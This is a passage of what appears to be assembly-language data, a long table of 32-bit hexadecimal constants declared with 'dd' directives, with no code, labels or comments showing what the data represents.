0BD9F617Eh, 0EBF3A9h dd 0DD0FD3DCh, 948EA06Ah, 0AF47DA00h, 74583A66h, 383F8E4h dd 59DBDED9h, 87CEF1Ch, 0E7E9AE00h, 99110B16h, 430D0FADh dd 8BC03038h, 0EB5E9858h, 3F008C7Dh, 960EA9B2h, 7A2126AFh dd 0C5223F89h, 2C73789Eh, 5669079Ch, 0B7249062h, 3900CB37h dd 3812D9A8h, 3A8F96FBh, 0E00353FCh, 59DA8680h, 0CBDD500Ch dd 5C58AEh, 0AB8A0521h, 0EB91A6BEh, 8200F898h, 0CA9257DCh dd 7A02477h, 0C6349E5Dh, 8EEFC00Fh, 70FADF1h, 0D26DC9h dd 58BFC28Ch, 52B130EEh, 19042FB1h, 833F0B07h, 7F71919Fh dd 3CE83850h, 18097F7Ah, 989AC4E5h, 51F5D9A7h, 0BE36CC0Ch dd 4B381838h, 1E0C5351h, 24684A9Ch, 267B0064h, 0FFE6B7BEh dd 7E048600h, 9FB80B22h, 1EECE9B1h, 12D1E85h, 0E1B7C09Ah dd 0E267434Ch, 21C0BDE8h, 1B0115AFh, 0FC9C7C68h, 0E7A53ED5h dd 77E4E503h, 0FCD02530h, 0C5241BF1h, 0E11F3F56h, 8E949186h dd 0C6AB0729h, 0F0142337h, 81E4C862h, 5560AC74h, 0BD4EE560h dd 0A475003Eh, 9A8A3CFEh, 0B6069F6Fh, 3F5AE857h, 4D410788h dd 0CC5C080Ch, 68C8E599h, 37FAC09Dh, 0BD761447h, 224F4486h dd 420C6800h, 8E039814h, 51BB0FE8h, 30FD253Ch, 68FF1971h dd 0C95C3732h, 0F4C9319Ch, 15461440h, 653040h, 0CED03EB8h dd 4DF9760Ch, 9A2DF11Dh, 20DC00FFh, 2C7EB51Ah, 18363DF4h dd 55950B00h, 0FC6DC102h, 0B7826B00h, 92DB906h, 0C92B0190h dd 391AA4A2h, 19AC48F3h, 5388DF18h, 28DA10h, 9B331894h dd 0AB387D8Ah, 9F3DCD00h, 649DB4F7h, 0C0930339h, 8F01F888h dd 12F0AE80h, 33B91506h, 1C0C953Fh, 8CD130h, 1755F4C1h dd 0F2009F96h, 0CA222AC4h, 3D620CFAh, 0A80002B3h, 329063DBh dd 2500C43Eh, 24DCEC88h, 7B6EF35Ah, 53B7006Dh, 4DA9FC14h dd 8F004B2Eh, 8B5BD1DBh, 0E3229Ch, 7C574CE5h, 785A0604h dd 41608F00h, 2FBFDB0Dh, 0E9B4014Bh, 2DDA619Dh, 69A8E8D0h dd 14249CBh, 9DDFCAEFh, 714ECE4h, 273E2635h, 64344096h dd 5730B905h, 87C5314Eh, 14A001E9h, 76BE9309h, 0A27CDC6Fh dd 0DB4BFB00h, 8B52A82Dh, 78F930C1h, 0EF2A6A10h, 8F69BC03h dd 60DDD4E1h, 16C91889h, 0B008052h, 0A9036FD0h, 0BE7881h dd 0A32E608Eh, 0EAA3D22h, 0F9BAEE03h, 98BC9B6Eh, 0FC438A08h dd 2EE8C0A9h, 40153A16h, 0D98C0600h, 0C8F32CDAh, 0A9ED7078h dd 4A702E80h, 568400E6h, 0A3F8D1A9h, 900B97F6h, 0C09C823h dd 66E1B2h, 96E3F7D3h, 7A70D469h, 847CA77Eh, 72C0C600h dd 0AEF01AEh, 15712Dh, 225DDDBDh, 4C8C2C79h, 29BB8E19h dd 0CA306048h, 0DED8009Fh, 0EFCEC46Fh, 0CD000CA2h, 0EB9B99B7h dd 64E6F3h, 431F5DE7h, 284CEA94h, 7A658900h, 0A2EE667Ch dd 3444002Ch, 48C91C9h, 0AE60418Eh, 3FBD0C18h, 0AFB70092h dd 9B32EA69h, 36010F07h, 0BB8FA3C3h, 0EE1187F6h, 9D75C442h dd 0BFBE1518h, 0EB12B620h, 1DBD5FF0h, 94ABCDh, 244D7165h dd 0AE061DFDh, 2EFEFC3Eh, 1E16F890h, 0CBFEF3Dh, 9B80CC4Eh dd 3E9D505Ch, 3563F30h, 76153F80h, 0AE8FF88Bh, 7323EC3h dd 9EEB9Eh, 0E6A8E516h, 981D23F2h, 19717A15h, 4213D5DDh dd 40A826E7h, 6EEF6B01h, 36A5D46h, 0A8C16130h, 437CA0h dd 2F942CFFh, 150ED9FBh, 6CC2A800h, 67052C4h, 0DDD30CDBh dd 0A18ED5AAh, 7A3BED06h, 1D39D77Eh, 0E26CBA8h, 98CEF7D5h dd 646E97C0h, 0F53EE325h, 7440002Fh, 900ACC9Fh, 0ED364422h dd 20EBF100h, 0C8BF706Dh, 2662066Fh, 2053D232h, 5155D507h dd 34802B23h, 1FCA3C15h, 409D4992h, 80985ABFh, 0CD171BFDh dd 0E10037F1h, 18789104h, 46C10E9Fh, 0C4630ED2h, 0DBAAE786h dd 0B99B980h, 0AD183CF7h, 0D1D0E287h, 70AE81F4h, 8800FB5Bh dd 1ABDE88Ch, 32C8F26h, 0D6AA3AFFh, 99B0D586h, 0FC003C50h dd 96524C06h, 49087Fh, 56E90CC5h, 2465DE6Eh, 0FF3A5E90h dd 4B350E33h, 80D20EB5h, 57C2F726h, 617000EAh, 7560334Ch dd 2B07DF73h, 8D55B1A8h, 0D3267760h, 0C08374CDh, 9EBD3940h dd 240096D4h, 32D5D82h, 0E65395h, 21ADB2F4h, 0C9A69D39h dd 0DE735200h, 891AA177h, 0E00803FAh, 795588F4h, 4165A4D1h dd 0DC7C77E4h, 2F001E20h, 5D1CFF8Ah, 0E4675823h, 0F5390031h dd 3D61A2D4h, 520038BDh, 620324BCh, 3718A0E6h, 76984D22h dd 0D91DA180h, 0E0F75127h, 957B46C0h, 2CA72E8h, 89F556ADh dd 84802BD7h, 87622A1h, 0E9E0390Dh, 3130417Bh, 0BDC30C16h dd 5578A31Ch, 0B069A600h, 0D54CF424h, 595401D7h, 0B7FAE12Eh dd 0FB7CD410h, 0E6F8F301h, 9B895F46h, 15AC3420h, 24BB3B6Ch dd 604F10h, 8AF3F5AFh, 182C80FDh, 0B0D3A3C0h, 4C6048C5h dd 4AD20388h, 117F6D98h, 8B040AB0h, 10808CE6h, 6F70004Ah dd 5A18218Fh, 0D91C2D75h, 8540B77Dh, 0E5E76949h, 2AE40179h dd 0B31FDD61h, 19A4700Eh, 4E4D6D00h, 44153592h, 95430051h dd 2FC0F139h, 0D8FBA3B6h, 1000BD0Fh, 0FD757E16h, 75D4Fh dd 0CD2DC68Dh, 85DA991Fh, 4565A700h, 7E0AD7F3h, 77EA00F8h dd 80AAFBD3h, 1200C37Fh, 7850BF58h, 92B6D05h, 6794FA75h dd 4DA74F80h, 0D5078821h, 649D4C8h, 55C9C530h, 6E7E77h dd 1F80A456h, 0C770B3CFh, 9419AD00h, 9586B8FFh, 364E2ED8h dd 0DF7B00DBh, 0C909FD53h, 2BE8CE00h, 0D597AEF7h, 1F6FAB6h dd 2ABDB388h, 0DDFE47C3h, 5DB2E84Fh, 0AC00C275h, 7C62CFEDh dd 3C2F13A5h, 0D10E0870h, 7A69FC9Fh, 0BC60940Fh, 5B04DCC9h dd 0C0E46000h, 2674A3F1h, 0E169005Ch, 7A18C483h, 0DC00AE08h dd 4BE92E99h, 0CD5F49h, 0E2B85E48h, 1241A884h, 0E3F4F126h dd 5F184400h, 0DA85A5h, 8E57C99Fh, 3666038Ch, 0B13C0892h dd 0B9A180DBh, 6D07D187h, 9860942h, 5380AE24h, 9A958DB2h dd 4E000BECh, 3027ABBCh, 10879E7h, 723BD60h, 8037587Eh dd 3546D551h, 1C9AF396h, 0BD8EA86Dh, 0DF32421Eh, 0E774C0B3h dd 0F15077D1h, 0C3176C03h, 0F80BA140h, 2C85E4h, 136B38E0h dd 77EE46ACh, 0B55CE81Dh, 5A227382h, 0AE98032h, 8ACE9Fh dd 0C0C3BE30h, 25D7E46Fh, 4616D090h, 8076690h, 4A51FE88h dd 80C408B8h, 32CA0097h, 969E5C15h, 0C5F260B0h, 755A401h dd 418CDFCCh, 781CECh, 7E3D2762h, 7208ADB9h, 2C20C00h dd 0B607400Ah, 136A037Fh dd 3FA2CF41h, 1C91B4A0h, 1D739F00h, 0B558BE39h, 28E0744h dd 0B383C38Ch, 79A81993h, 5C00259Ah, 3530F8AAh, 3E0E4CC0h dd 6C02F218h, 0BB38BC94h, 2AA10E40h, 85C3C538h, 5B7327DFh dd 3B5951C0h, 440B00CEh, 618B34F4h, 0FD00BA9Eh, 1BF04DDDh dd 0BB8DD4h, 0A317C956h, 27CBAC20h, 0D09B9F00h, 0EF9E0877h dd 0EC21507Bh, 0FC2C0B17h, 94008948h, 6846FD3h, 9C4CC200h dd 96DCA7E5h, 48400AC1h, 17EBAD6Eh, 1D0E00AFh, 7FD67EF6h dd 1CFC094Ch, 0FBC0EC2Dh, 6BA45C46h, 0DBC900CFh, 724E88E4h dd 270133CAh, 7C7BE6AAh, 6EE4AE8Dh, 0DCD500ACh, 0B5E3C4Dh dd 85B8B0DAh, 781D5BF8h, 0A3853D10h, 0DDC040CAh, 4E7072h dd 39143E21h, 83F45CD3h, 63063500h, 0DE66BDEFh, 702B0ED4h dd 48E02D72h, 0FF4E5A26h, 754C6B01h, 7EE1928Ch, 5D6830h dd 0E0C571C9h, 69E62094h, 799443E9h, 90B484CDh, 85BE553Ch dd 803C49h, 1B069E36h, 7E4EEC47h, 3A7C9062h, 4D8010F2h dd 86E58EBBh, 7C3CF1DDh, 0EB3B80A6h, 7E1E4C91h, 23973C7h dd 25C3D461h, 2C61AFF2h, 8CFEE45Bh, 9E449903h, 3864EF52h dd 3BF4E378h, 0D105BB81h, 80962811h, 0D0F15BA6h, 3793AD00h dd 0F569C10h, 83410076h, 0CC9FBA5h, 0A000332Fh, 0E4EE7F81h dd 60CB57h, 6B5C3858h, 0BF023F26h, 0B0C1FC1Ch, 529BAC00h dd 0A02C65h, 0B7F2A3F9h, 49C9E055h, 989AB501h, 7B2BFBFAh dd 0A8EFF050h, 0A6790084h, 91F90F4Fh, 0EA3D3B65h, 6F7A0CF3h dd 536808h, 0E6685076h, 243645E2h, 96DE31E2h, 0CEF22B41h dd 0A4E483C9h, 30A7138h, 0E8701068h, 0A90047E2h, 55802E33h dd 1C5AB8C2h, 42A420DEh, 0E3B19535h, 0E69638B0h, 0F6DD4900h dd 8BD83384h, 9AD00758h, 0A039DF71h, 3B1E5FADh, 4E00F97Ch dd 47DCD678h, 0A9C3F1h, 89CB1F20h, 1D13DDE8h, 9676D800h dd 5390799Eh, 3477F1Ch, 0AA4DFE80h, 0D78F5439h, 93FB825Ch dd 7A978380h, 0D2003F3Ah, 0D3DE9234h, 0CE8F1Bh, 648796CBh dd 919A4A02h, 7D0A2000h, 9BD0A729h, 43EA00D7h, 517846A6h dd 1001FFBFh, 0CF183CB6h, 8C60362Ah, 9DD3D24h, 0A6F1CBB0h dd 0FE001170h, 1CDE5569h, 188C6E5h, 73BBF8A1h, 20220FD6h dd 58C03460h, 359B69EAh, 1D1F00E2h, 1ABBD68h, 0E49CE27h dd 0F3070080h, 0D297062Bh, 8C6A54BEh, 9300032h, 91058CEFh dd 386081D4h, 0A05D17DEh, 0F4E4002Eh, 0FBDACA23h, 8304EDA5h dd 46F78FD4h, 0B6D7ECC0h, 1B430E7Eh, 0C6471311h, 0B8DAE004h dd 300726Dh, 0B2E7E08Dh, 240A14E6h, 39A0B5A5h, 0BD81707h dd 72AEA1C8h, 5D0267Bh, 9D4DB27Fh, 67CD1490h, 4CD7003Bh dd 55E30C45h, 0B8779F22h, 0A35220B0h, 80753CE8h, 8AFFB740h dd 0FA7B493Dh, 0BE2E00D8h, 30C2F232h, 85FAA222h, 0F70C7113h dd 81CF3000h, 4A52E0h, 7D9E206Bh, 4CBBF51Dh, 3EB40D00h dd 0FB0F687Bh, 0D78C00F1h, 0F4A8CCB8h, 15035C32h, 2C9B0B3Ah dd 0E0C9C398h, 0D3FB17h, 85AD92CEh, 0F962031h, 9386BA01h dd 59897190h, 36B5E8h, 0AA3A1A2Ah, 0C892E3C3h, 0ED333700h dd 0B32940F0h, 178B7293h, 40B707DAh, 0F3CE60C4h, 0E8283849h dd 1501A08Ah, 0ED1746Eh, 6CF47F55h, 200D00B9h, 1C804F4Dh dd 32047BECh, 9AF93C33h, 47C1FBC0h, 0AA7BADh, 948A75B8h dd 57F38963h, 22C09303h, 0E0FCAF7Eh, 47251Fh, 0EE4BD640h dd 0B8B68CD8h, 2D00FBF8h, 15926193h, 0B849520Bh, 0A3E22Dh dd 0A8723334h, 0EF8FEB86h, 808C3200h, 5816DE6Eh, 51941CD9h dd 21E40181h, 27870993h, 1AC40074h, 539D5BC6h, 0B0212CB8h dd 2772C434h, 1382BE6h, 0AF9E459Ah, 7440C20Fh, 82752444h dd 0E661640Fh, 0E1D5C030h, 72BB3A39h, 0D011029Ch, 0BD678F02h dd 0BE899C45h, 79FC413Fh, 0B25116C0h, 0C4B50004h, 0A8A9CE73h dd 14720B82h, 0B2841D00h, 6451DCF4h, 0AB50C0ECh, 31A91E3h dd 4284C59h, 0D4D82560h, 0C1047C90h, 5E7A0EA1h, 0A1B9017Eh dd 0D40AF1C7h, 2021436h, 93583CFAh, 0B37468CEh, 609EB087h dd 50C8506Bh, 0E37380Fh, 39001086h, 95EC3Dh, 98D9B49Bh dd 6E5B107Bh, 0B1786700h, 0EB47C8CBh, 566D2434h, 70BB008Eh dd 2CCCA6C7h, 2FF92300h, 68914003h, 0E5C0007Fh, 0BC268027h dd 740E6FBDh, 62F19CA6h, 0E0C5CAA0h, 77E827h, 0C2A564Dh dd 55D2F0B6h, 0D500A7ECh, 37B93CDBh, 24BFEADh, 0C8DFF4E9h dd 1CE749CAh, 0B2E81194h, 0ACC44Fh, 0D4183E45h, 44AC5E8Ch dd 0E083DA17h, 7C23060h, 7D2D1ECAh, 128B800Ch, 0A87FABA7h dd 9FB92000h, 0C5F87057h, 144F4C52h, 0DCAF1107h, 0CC63208Bh dd 0BE00C389h, 0E4B4AC56h, 64F99651h, 1C3E90AEh, 53A85080h dd 0A3ECE0h, 187DBB4Eh, 0D6C5FFD7h, 0C4268600h, 77D2D869h dd 0D4EA001Bh, 358850B0h, 0FB03BB51h, 9067CF78h, 6C98CA05h dd 0CD110558h, 9066102Ah, 0FB0BDDF0h, 0BE724002h, 80BFD388h dd 764D3A80h, 651300ECh, 77CB5CD6h, 0D90EA9DAh, 0E03DC4A6h dd 84A42E49h, 5FD0528h, 809F3CB2h, 98D61993h, 0F0B3FF00h dd 5190C74Ch, 0C0300077h, 0D8E82EDEh, 1300FECDh, 8AA7B85Bh dd 9820BA98h, 0C24A2EF4h, 1899D9F4h, 0C5583C48h, 9083B707h dd 0DB864734h, 15029080h, 0D7001AB6h, 0CDA6F7EEh, 3CBA7A3Dh dd 3002E25h, 0D5819DEBh, 0D8027859h, 3F74F512h, 0E0BC6316h dd 13AD1D4Ah, 0E80B48h, 212E8BCCh, 0F517DDFAh, 0F20051E1h dd 578D4E4Ch, 0DC601D37h, 3D1280E5h, 0B3270EB9h, 1800A490h dd 60C8967h, 52DE07Bh, 4744B1C0h, 38F014D3h, 17F192C0h dd 0EE0012DBh, 0E7BDE6ACh, 123AB0EBh, 59931B4h, 0CC4C7A48h dd 6F0221F4h, 34AAA95Ah, 0FB34C8A3h, 0F771027Ch, 0D0B1D63Fh dd 35128460h, 0F4582401h, 0B0F0532Ch, 1C0A09F0h, 4087A760h dd 1D7B6E81h, 0ED386825h, 20AA30EAh, 0A1234DAh, 0C044D8BEh dd 7AD10094h, 0FCA3BC18h, 65747200h, 0B19705EEh, 0F1F0BEh dd 67663A69h, 0A0176F29h, 56B20303h, 80ECAE1Dh, 2B764F0h dd 72841C9Eh, 3B60FC39h, 870050D0h, 51D9AA0Eh, 614F90h dd 8A291E3Dh, 62D0B684h, 34FA3F00h, 300DF625h, 63E200B7h dd 0B6986724h, 0BC003E51h, 60470F89h, 3827F57Ah, 5500184Fh dd 395386DDh, 0D0EDF30h, 0C78ED0C3h, 3440A57Dh, 3A3F5E49h dd 82804EEFh, 8B6B948h, 9AFC5B26h, 750E3090h, 20CF8936h dd 1D69C952h, 0E7F9008Bh, 2B63367h, 830077C8h, 4576A625h dd 28AD26h, 0CF411669h, 8736E5Ch, 4F10C800h, 77BC847Bh dd 19A500ACh, 92461EF6h, 3F0A3EDFh, 0E289E9F5h, 41F18639h dd 1E811514h, 126DFD55h, 0F185E8Ah, 24036B35h, 103CD1FEh dd 56270005h, 58803F73h, 0EFC61EABh, 1450037h, 0BB2C381Dh dd 0AD505D00h, 7A5EF74Dh, 733EE0Eh, 0E46EA105h, 7037B619h dd 2224E82Ch, 0BB524D03h, 0D6BC8354h, 0FD264868h, 0C4B0C600h dd 0B2F736B9h, 0B0DF053Bh, 7E0321FDh, 1C761DE0h, 35B549B1h dd 1FAD0580h, 3B03D6D1h, 6C233621h, 24B2D02Eh, 0D9840077h dd 0D5499918h, 7600D208h, 0E598BA7Eh, 3C7D1A40h, 38004F4Eh dd 8786A702h, 310043FAh, 0EAAC3AE0h, 1DA4AC2h, 2654063Fh dd 68633312h, 23B90E24h, 5CD760BDh, 44CE4142h, 9A009918h dd 0B4015993h, 4CFFB889h, 0EC7C243Fh, 4D98747Ch, 26002C3Eh dd 0ADF5E714h, 0B0F86F97h, 0EFE9D460h, 405E09h, 5B449E25h dd 0A1FB90F8h, 32E0771Fh dd 40BF8A8Fh, 0CC7E6664h, 0FF0100E6h, 55D3FA95h, 9600BD9Ah dd 0D00C0FF6h, 7643CDE7h, 0DCEA62h, 0E4EFD809h, 26A15199h dd 0D038EA01h, 0FBC38170h, 0ABACC0h, 0F6786294h, 0F4DC895Fh dd 0EF002F7Bh, 2DD9D3C3h, 0FCCAF81h, 0D5D12518h, 8296D700h dd 5C00C5EAh, 5DADA851h, 0E89CAC79h, 2080E310h, 37C5E680h dd 0DD070DE8h, 0E53E20A7h, 0BA5D671Fh, 0B87241D0h, 0F13130A1h dd 684DE230h, 3DC31900h, 569100Ah, 601C74D4h, 20AE212Fh dd 480FBE18h, 8198191Dh, 6C04C1DFh, 1E7EECh, 0AB87EADEh dd 293D2E2Dh, 0B0B35B00h, 0D8446C07h, 0D6C2317Eh, 0D8DC2D48h dd 8C03A656h, 0E95362B0h, 8910A8ABh, 3D4100D3h, 9461D7C3h dd 910CF5D6h, 0B1CDA5E5h, 1E7B43C4h, 3D8E196Fh, 91C4B022h dd 0A76D01D0h, 0D8206117h, 0A55F0002h, 0CAD86835h, 2354D7DCh dd 0A06F3194h, 0C98C6031h, 0E4EB41h, 4D68BFA3h, 0E82ACCD4h dd 0FC0FB206h, 1E85777h, 8A31702Dh, 0DC038D28h, 9059D85h dd 37C4905Dh, 0AB9C2380h, 441A01C2h, 20A1B0AEh, 1E8DC813h dd 7BD3C901h, 0C8818E06h, 85A7E0h, 1D999337h, 0D43CF23Dh dd 96110203h, 0C8D1B820h, 77CEC9h, 3CF99F0h, 402706F5h dd 8FC0193Bh, 0F2DFD4Bh, 9D6CE0A1h, 0EA88E4h, 5BE67D1Dh dd 349F436Fh, 6ACDA000h, 87E87875h, 0CE31C0FFh, 84899EC5h dd 0A76C8000h, 8F398807h, 202660BAh, 461C7F7Dh, 0C7B39603h dd 34B2E63Bh, 0C141F408h, 0E040BF96h, 50000936h, 525C24C8h dd 12CBC3F2h, 207759h, 1B64DC78h, 21F06B5h, 0C2CC1E5Bh dd 2A1C9CBh, 0BEF01D73h, 0B90288E0h, 8F1560BFh, 0E86C1E49h dd 1D08B180h, 48208185h, 0D0239982h, 3904E860h, 6DB0DC30h dd 4CCBDA60h, 0F9EE340h, 0CABBB980h, 4FCC85h, 201127B0h dd 400D754h, 2BC6B2AAh, 0FE617493h, 553A005Dh, 0B0529728h dd 69000641h, 42BE20A5h, 0A1ABCh, 7965E3CAh, 93D5E789h dd 0D3EECC00h, 0B9101762h, 0F62C007Dh, 0DA4091EDh, 533E47ACh dd 3F5C9D81h, 0F5440FC0h, 3193AAh, 0A2621A6h, 976BC759h dd 34075CF6h, 309CEE0Bh, 0F91AC9C0h, 7D1F01DCh, 1B6ED1B6h dd 83AE8090h, 0BA284449h, 41253E5Dh, 0F8C21F7Bh, 3C3F2435h dd 0DCF55200h, 20F298Bh, 0C9039D7Dh, 84CD10FAh, 0B3A1905Bh dd 6219C0FFh, 52452A0Fh, 230098E0h, 3BB1A2C0h, 15040ACh dd 4C849E22h, 705579CEh, 0D31BECBFh, 0F998D171h, 67004132h dd 6400C84Ch, 8E4BA026h, 0F81AEBFFh, 0CF6C305Fh, 0AFA7818h dd 0B70011Fh, 0AD553700h, 7456191Bh, 0F51F014Ah, 288FBBB8h dd 0A57130EAh, 98105528h, 3E75F7FEh, 8A72D000h, 56FB1DC1h dd 103901AAh, 43B9713h, 198C6015h, 0D8983300h, 0BF61216Fh dd 0D4C70EAEh, 3DAEF705h, 6EC0A3EFh, 3AC1D667h, 21C0A0E8h dd 383DE1BCh, 0B1C9A060h, 93E500A1h, 966D72B0h, 0AD60DE16h dd 0BEA71728h, 1E760BCCh, 7C83CB56h, 39A0C48Eh, 17010609h dd 97CDAA87h, 8270C347h, 0D643180Bh, 363858ADh, 8307B9EEh dd 6B706DA4h, 2C40C714h, 3937BCC3h, 9B14302h, 0D06A9C98h dd 0D2421FA4h, 33C13DFh, 18560E1Ch, 35253800h, 0ADAE01ECh dd 8944183Ah, 196A0863h, 591F20C0h, 0AC358D1h, 0B79DC683h dd 0AA585E68h, 0F06840EFh, 7A49F603h, 0A0822042h, 9E7FD8h dd 3796A7DAh, 0E72CAD86h, 7728400Ch, 60AE709Ah, 0D662E06Fh dd 0D30341BDh, 3ED1E1B1h, 0D52A986Ah, 7F090D2h, 0ED0781F3h dd 0E5D5055h, 0C300B229h, 239D3E1Ch, 522B1Bh, 1486767Eh dd 0F151DD84h, 0E9DC9B1Fh, 0D3DB8E7Ah, 6D0860AAh, 1F1FF509h dd 405C9C72h, 41606344h, 3603DF58h, 5224B74Dh, 30E3B3F8h dd 3F218F09h, 2F007A28h, 1A5E6D9Eh, 0C7CAAh, 3A3E1D17h dd 6A94805Ch, 8D7F5D01h, 6358C12Dh, 46D31210h, 7F498060h dd 15127B1h, 6D0C149Dh, 0F5368A15h, 0FD07F080h, 305BB5Ch dd 69287056h, 38390025h, 63FE719Ch, 0C418B35Ch, 320850B6h dd 1820C164h, 0FC7D8BF8h, 39015912h, 0B99BBC65h, 917149B3h dd 0A9A37880h, 7610EE73h, 0BEBB3A00h, 0F8AF2266h, 657500FFh dd 805DD8A6h, 400CC55Eh, 0D826CA0Fh, 882F006Dh, 0E549C42Ch dd 3200AB25h, 7AEEE19h, 9AA7EFh, 0E8588C4Ah, 0C9DC245Ch dd 2D35D700h, 0E3DEA34Eh, 80AA0EBDh, 0B783414Fh, 0CEB00F08h dd 440FF255h, 0C0762BABh, 0C7C80D19h, 0E43A3F04h, 9FB1928Bh dd 0D6405B8Fh, 76798A55h, 8785D53Fh, 8E1CC5C1h, 0DCCD59E0h dd 5B7482h, 63B19D60h, 0A23B4C94h, 1A0EB37Eh, 40A40649h dd 918F8BA1h, 2FA6006Dh, 0CBFC1F63h, 0C80113DBh, 37681BAEh dd 7CE092A4h, 817F03BCh, 679BA9DEh, 0D63423B8h, 0DF1DA800h dd 0A5CCB3Eh, 0AEEA00ECh, 0D808DAACh, 0B70364B8h, 0FA685FE9h dd 7C280641h, 187DAEA0h, 0F3004DEEh, 8E05FEC0h, 1FA438h dd 2299C565h, 36B315E0h, 3FCDBE00h, 8BBDA691h, 9B6A1D35h dd 0CACB09E2h, 893A0A80h, 1700D730h, 0B872B9Ah, 0AA1483h dd 0FCEA92EFh, 96D9CDD3h, 0EE3C5D7Bh, 0B27FFCFFh, 0ED9DDA19h dd 72C0C878h, 0CBBB1E65h, 0F9A9CC79h, 34A09960h, 0B400111Fh dd 0D66C436Dh, 3AFDCEh, 0A4B72BC7h, 0AB1CECA9h, 0E4DADC06h dd 0D0FFBDh, 0BB7C7F3Eh, 0BA911813h, 996B60F9h, 0E88E800Ah dd 0F30098CCh, 0B7D1DFA3h, 0A8E094h, 8D075364h, 45A6C52Ch dd 476075E4h, 4D9FE80h, 1C689031h, 0C0743EA8h, 95DA9419h dd 3306AB59h, 0FB64BA7Bh, 47721858h, 5CDA3839h, 7CABAF00h dd 7ECEBC6Bh, 0A5650C78h, 6E591775h, 0C9CFEA00h, 0C84854E3h dd 76E70ABEh, 3D090EFh, 627E4347h, 0C5721190h, 25FC7100h dd 0B27BA4A6h, 50C8007Ah, 9D63CEFEh, 0F1005498h, 5E1CF776h dd 6DF09Ah, 665F50B7h, 98DA1204h, 7A2C3Dh, 1A17BD79h, 0AF2EA3h dd 14F8554Eh, 4A85B46Eh, 0D1F8A1E2h, 0F1CCBA00h, 0B8366525h dd 0F5313EB6h, 0BFE61681h, 81F7712Eh, 0CF4C7870h, 1180B299h dd 0C9885916h, 1901BDCAh, 1690CA2h, 219F8BA5h, 689EF8FCh dd 0C51F40D7h, 0F5CC9C42h, 0B864860Fh, 4CF402Eh, 136D955h dd 62980F28h, 80B3E574h, 0BFEA440h, 0A976F0CCh, 0F8DC1978h dd 0CDDFCAFh, 0BEB41880h, 0EA18C898h, 0F6E823D4h, 0C13600A0h dd 0E1C8FDEh, 5E0048CBh, 925CDBEFh, 3AAFE1h, 0D2E94393h dd 0C0DD0156h, 14EDE4Ch, 0A4279451h, 3FC802F1h, 0D2EB00A2h dd 119C5209h, 0B1002B9Eh, 3B774810h, 9CCEEB5h, 99DC1FCh dd 0E32A6800h, 8C17E628h, 0C3006E73h, 80190B36h, 0E93D002Bh dd 9B79042Fh, 62002290h, 6A751303h, 0A03918AAh, 560D5D9h dd 9DC5D73Bh, 2848036h, 0CC008605h, 8EB1BD27h, 1C7A55Ch dd 0B2C2D056h, 810C0D51h, 0AB11C420h, 30F493E6h, 0E310099h dd 0D9857325h, 5A1DC5E4h, 0CB1DDB6Eh, 50812380h, 1D078805h dd 81702815h, 6CE1677h, 47718339h, 0A04E83E9h, 69DC62h dd 0C3FDF96Ch, 516D8C3Ch, 862C06F8h, 570009DEh, 0DC781146h dd 5E5C060Ah, 206FC08Ch, 5D446C1Ch, 28FBE947h, 0D1A71BF7h dd 0B340DA44h, 0FD4F42C0h, 0E5EF6E00h, 5C8DD4F5h, 367F00F7h dd 34D92265h, 0E600C43Ah, 0E3DA2743h, 0AE0968h, 69B37914h dd 0CB44B08Dh, 0F9C9291Fh, 0DB84ADC7h, 0DACC9BC0h, 0C642007Dh dd 5C5AC5Dh, 0C200631Fh, 0EDF1815Bh, 77ADB5h, 0C17339FDh dd 76534049h, 0EE7A7900h, 0E695AF44h, 1CB40F67h, 0F46031C9h dd 960F2493h dd 3AF03503h, 0C8C1EAE1h, 7F109920h, 98C70E5Ch, 9683B0ADh dd 0C588191Ah, 0C93EAE0Ah, 579389B7h, 8D7F02E2h, 40C05DA0h dd 6DFCE41Eh, 0D8AFAA39h, 83DE3E28h, 7674E9EEh, 4092B0D6h dd 147EA7h, 0EAD13C02h, 353BFF43h, 583299E0h, 0E0E510D3h dd 0ED1490h, 0E11C5275h, 0D835BFB9h, 100FDFEh, 573D9167h dd 1C277D5h, 0BF93641Eh, 2153BA3Bh, 3808E8EBh, 74E1D48h dd 0A0A344F4h, 0D7EC3990h, 3CFCDFh, 2690045Fh, 2D36C0B7h dd 0B64DAB00h, 695C42AAh, 0E1FF0394h, 0D83B9302h, 56AF5988h dd 80079D3Bh, 0B9AA474Ah, 3CF64Bh, 0F3DFD30h, 0F755C635h dd 14857501h, 0E24C1BE4h, 650C1840h, 42D8C15Ch, 61D1538Ch dd 1B0C2083h, 8200177Ch, 72495EC1h, 1D6D362Ah, 801577DEh dd 16521067h, 2428FF0Fh, 63222C13h, 84143D5h, 47C78F7h dd 4616B4EFh, 14F810FAh, 2CAA0135h, 316F3008h, 0E95C4804h dd 45969F42h, 135F9D02h, 99EAE4A0h, 0DD423BEEh, 0D1642608h dd 18CF0510h, 2E86360h, 3184819Ch, 0B9B1EE0Bh, 0D0EC095Eh dd 3AE71563h, 120A2CD6h, 1D844027h, 171C88D9h, 3D10901Ch dd 585D607Eh, 9EB688D8h, 0CF580A8h, 18C1F800h, 3E4A5B1Ch dd 96CB6080h, 26C68245h, 1A474B03h, 0A0A42B35h, 1CD599D2h dd 4C9C81E2h, 0DE80C07Dh, 6865601h, 0FD8CCC4h, 0F9DAE0C6h dd 4C1F0077h, 3F5BFB7Eh, 30FCDB8h, 878628AAh, 0F8A2B9F7h dd 5BA88092h, 0EC3663h, 0A39AE708h, 84F7D8F2h, 0F8389400h dd 0ACAD2A4Fh, 1C4B0162h, 2EC18323h, 3A188ECDh, 2583FC9Bh dd 0C084764Eh, 0A0B10273h, 633D49Ch, 5467149Dh, 11006841h dd 0AD3AB7B2h, 355FF9Ah, 1AE3B1D6h, 64C09BAAh, 0C0C5F820h dd 98401176h, 0A2D83A27h, 496600FAh, 6E6CEA1Ch, 0B1390F79h dd 9DBA005Eh, 0CD633AE4h, 1617446h, 5DB9D1B3h, 5412FFDFh dd 11E803B4h, 0ED8032EBh, 0E31D3E71h, 19805124h, 0E08FB47Bh dd 3CF03FFFh, 2FF4D200h, 986412B0h, 4ED3B901h, 1E9C068Ch dd 0F868A840h, 7C5449A8h, 66B7D80Eh, 39405502h, 56FFDD80h dd 9F00DFB2h, 0F6A46121h, 0C06BB3E8h, 0D34B089h, 190CFBF4h dd 0E913E0D8h, 4C7E0138h, 947AEFF2h, 28D1E43Dh, 0DF01B27Eh dd 4BE08E89h, 0D1808A6Ch, 281FDEBBh, 0A248FDAFh, 781703B0h dd 0A4C6F3F8h, 0B25630C3h, 0B7D448BCh, 0DF5B0FC8h, 891823E1h dd 69180E77h, 0E81115A6h, 22670118h, 890DC53Eh, 2013C5F4h dd 63008B64h, 